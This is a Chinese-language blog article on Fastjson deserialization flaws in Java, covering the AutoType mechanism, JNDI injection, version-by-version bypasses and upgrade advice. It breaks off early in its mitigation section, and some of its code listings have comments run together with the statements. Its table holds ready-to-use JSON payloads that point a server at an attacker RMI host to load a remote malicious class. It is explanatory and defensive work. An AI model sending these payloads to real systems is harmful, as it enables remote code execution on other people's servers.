Fastjson 反序列化漏洞深度解析:从原理到实战防护

作为 Java 生态中最常用的 JSON 解析库之一,Fastjson 因高性能被广泛应用于各类系统。但它的反序列化漏洞(尤其是 CVE-2022-25845)曾多次引发大规模安全事件 ------ 攻击者只需构造恶意 JSON 字符串,就能实现远程代码执行(RCE),直接控制服务器。本文将从漏洞原理切入,结合实战案例拆解各版本绕过技巧,最终给出企业级防护方案,帮你彻底规避风险。

一、Fastjson 漏洞核心原理:AutoType 机制是"罪魁祸首"

Fastjson 的反序列化漏洞本质是AutoType 机制的安全缺陷。该机制原本用于方便还原复杂对象类型,却被攻击者利用来加载恶意类,触发危险操作。

1.1 AutoType 机制的工作流程

当 Fastjson 解析含 @type 字段的 JSON 时,会按以下步骤执行:

  1. 提取类名 :从@type 字段中读取目标类全限定名(如com.sun.rowset.JdbcRowSetImpl)。
  2. 类加载 :通过ClassLoader 加载指定类,优先从缓存或配置中获取。
  3. 实例化对象:调用类的默认构造函数,或通过 setter 方法注入属性。
  4. 触发危险逻辑 :若类中存在 JNDI 查询、反射执行等危险方法(如JdbcRowSetImplsetDataSourceName),会在属性注入时自动触发,最终实现 RCE。

1.2 漏洞触发的关键链条

攻击者利用的核心是"setter 方法自动调用 "和"JNDI 注入"的组合:

  • setter 触发 :Fastjson 反序列化时,会自动调用对象所有属性的 setter 方法(即使是私有属性,加Feature.SupportNonPublicField 即可触发)。
  • JNDI 注入 :像JdbcRowSetImpl 这类类,在 setDataSourceName 方法中会发起 JNDI 查询。若传入攻击者控制的 RMI/LDAP 地址,服务器会加载远程恶意类,执行恶意代码。

二、Fastjson 关键 API 实战:序列化与反序列化

在分析漏洞前,先理清 Fastjson 的核心 API 用法 ------ 这是理解漏洞触发场景的基础。

2.1 依赖配置(漏洞版本与安全版本对比)

首先要明确:1.2.83 以下的 1.x 版本、2.0.45 以下的 2.x 版本均存在安全风险。实战中需避免使用漏洞版本。

xml 复制代码
<!-- 危险:1.2.24(CVE-2017-18349)、1.2.47(缓存绕过漏洞)等版本 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version> <!-- 漏洞版本,禁止使用 -->
</dependency>
 
<!-- 安全:1.2.x 系列推荐 1.2.83+,2.x 系列推荐 2.0.45+ -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version> <!-- 修复所有已知漏洞的版本 -->
</dependency>

2.2 核心 API 实战:以 User 类为例

先定义一个 User 类,在 getter/setter 中加打印语句,直观展示方法触发时机:

arduino 复制代码
package org.example;
 
public class User {
    private String name;
    private int age;
 
    // 无参构造(反序列化必须,否则会报错)public User() {}
 
    // 有参构造
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
 
    // getter:序列化时会自动调用(用于读取属性值)public String getName() {System.out.println("触发 getName():序列化读取 name");
        return name;
    }
 
    // setter:反序列化时会自动调用(用于注入属性值)public void setName(String name) {System.out.println("触发 setName():反序列化注入 name");
        this.name = name;
    }
 
    // 省略 age 的 getter/setter(逻辑同上)public int getAge() { return age;}
    public void setAge(int age) {this.age = age;}
 
    @Override
    public String toString() {return "User{name='" + name + "', age=" + age + "}";
    }
}

2.2.1 序列化:Java 对象转 JSON

核心方法是 JSON.toJSONString(),关键在于SerializerFeature 的配置(如 WriteClassName 会添加 @type 字段,为反序列化漏洞埋下隐患)。

perl 复制代码
public class FastjsonDemo {public static void main(String[] args) {User user = new User("张三", 25);
 
        // 1. 基础序列化:无 @type 字段
        String basicJson = JSON.toJSONString(user);
        System.out.println("基础序列化结果:" + basicJson);
        // 输出:触发 getName():序列化读取 name → 基础序列化结果:{"age":25,"name":"张三"}
 
        // 2. 带 @type 的序列化(开启 WriteClassName)String withTypeJson = JSON.toJSONString(
            user, 
            SerializerFeature.WriteClassName, // 添加 @type 字段
            SerializerFeature.PrettyFormat    // 格式化输出
        );
        System.out.println("带 @type 的序列化结果:\n" + withTypeJson);
        // 输出:触发 getName() → 带 @type 的序列化结果:// {
        //     "@type":"org.example.User",
        //     "age":25,
        //     "name":"张三"
        // }
    }
}

2.2.2 反序列化:JSON 转 Java 对象

核心方法是JSON.parseObject(),风险点集中在Feature.SupportAutoType(开启后允许解析@type)和Feature.SupportNonPublicField(允许注入私有属性)。

typescript 复制代码
public class FastjsonDemo {public static void main(String[] args) {String json = "{"@type":"org.example.User","age":25,"name":" 张三 "}";
 
        // 1. 基础反序列化:指定目标类
        User user1 = JSON.parseObject(json, User.class);
        System.out.println("基础反序列化结果:" + user1);
        // 输出:触发 setName() → 基础反序列化结果:User{name='张三', age=25}
 
        // 2. 开启 AutoType(高危!禁止在生产环境使用)User user2 = JSON.parseObject(
            json, 
            User.class, 
            Feature.SupportAutoType // 显式开启 AutoType,风险极高
        );
    }
}

三、各版本漏洞与绕过实战:从 1.2.24 到 1.2.80

Fastjson 官方曾多次修复漏洞,但攻击者不断找到绕过方法。下表整理了核心版本的漏洞点与实战 Payload,是漏洞检测和防护的关键参考。

影响版本 漏洞类型 核心绕过技巧 实战 Payload(关键片段) 注意事项
1.2.24 及以下 反序列化 RCE AutoType 默认开启,无黑名单 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 无需额外配置,直接触发 JNDI 注入
1.2.25 ~ 1.2.41 黑名单绕过(L;) 用 JVM 类型描述符(L 开头;结尾) {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 需服务端开启setAutoTypeSupport(true)
1.2.42 双写 L; 绕过 双写 L 和;(LL...;;) {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 利用单次过滤缺陷,双写后自动截取
1.2.43 [符号绕过 类名前加 [,后加 [{闭合 {"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["Base64 编码的恶意字节码"]} 需加 Feature.SupportNonPublicField 注入私有属性
1.2.45 MyBatis 类绕过 利用JndiDataSourceFactory {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi:// 攻击者 IP:1099/ 恶意类"}} 需项目依赖 MyBatis
1.2.47 及以下 缓存污染绕过 先缓存恶意类到_classMappings {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类"}} 无需开启 AutoType,缓存跳过黑名单检查
1.2.80 及以下 $ref 引用链绕过 用 $ref 构造异常对象链 (CVE-2022-25845){"@type":"java.lang.Exception","@ref":"$..xx"} 利用异常处理逻辑触发类加载

关键版本绕过解析(以 1.2.47 缓存污染为例)

这是最危险的绕过方式之一 ------无需开启 AutoType,仅通过缓存机制就能绕过黑名单。核心逻辑是:

  1. 第一个 JSON 对象(a):通过 java.lang.Classval字段,将 com.sun.rowset.JdbcRowSetImpl 存入 Fastjson 的 _classMappings 缓存。
  2. 第二个 JSON 对象(b):直接用 @type 指定缓存中的类,Fastjson 会跳过黑名单检查,直接加载类并触发 JNDI 注入。

实战中,攻击者只需发送上述 JSON 字符串,目标服务器若使用 1.2.47 及以下版本,就会执行恶意代码。

四、企业级防护方案:从根源阻断漏洞

Fastjson 漏洞的防护核心是"关闭危险功能 + 及时升级 + 严格校验",以下是可落地的 4 个关键措施:

1. 强制升级到安全版本

这是最根本的防护手段。根据官方公告:

  • 1.x 系列:升级到 1.2.83 及以上(修复所有已知绕过漏洞)。
  • 2.x 系列:升级到 2.0.45 及以上(2.x 版本重构了 AutoType 机制,安全性更高)。

2. 禁用 AutoType 机制(关键配置)

即使升级版本,也建议禁用 AutoType(非必要不开启)。有 3 种配置方式:

继续阅读全文: Fastjson 反序列化漏洞深度解析:从原理到实战防护

相关推荐
Seven9736 分钟前
剑指offer-42、和为S的两个数字
java
带刺的坐椅39 分钟前
AspectJ、Spring AOP 与 Solon AOP:Java AOP 框架的三剑客
java·spring·solon·aop·aspectj
q***649739 分钟前
SpringSecurity踢出指定用户
android·前端·后端
Coding_Doggy42 分钟前
链盾shieldchiain | 团队功能、邀请成员、权限修改、移除成员、SpringSecurity、RBAC权限控制
java·开发语言·数据库
q***766642 分钟前
SpringSecurity 实现token 认证
android·前端·后端
Seven9743 分钟前
剑指offer-41、和为S的连续正数序列
java
川白1 小时前
为防在家摸鱼,用计网知识实践屏蔽B站!
后端
吃果冻不吐果冻皮1 小时前
DeepSeek 视觉语言大模型技术演进(从DeepSeek VL/VL2到DeepSeek OCR)
后端
申阳1 小时前
Day 15:01. 基于 Tauri 2.0 开发后台管理系统-Tauri 2.0 初探
前端·后端·程序员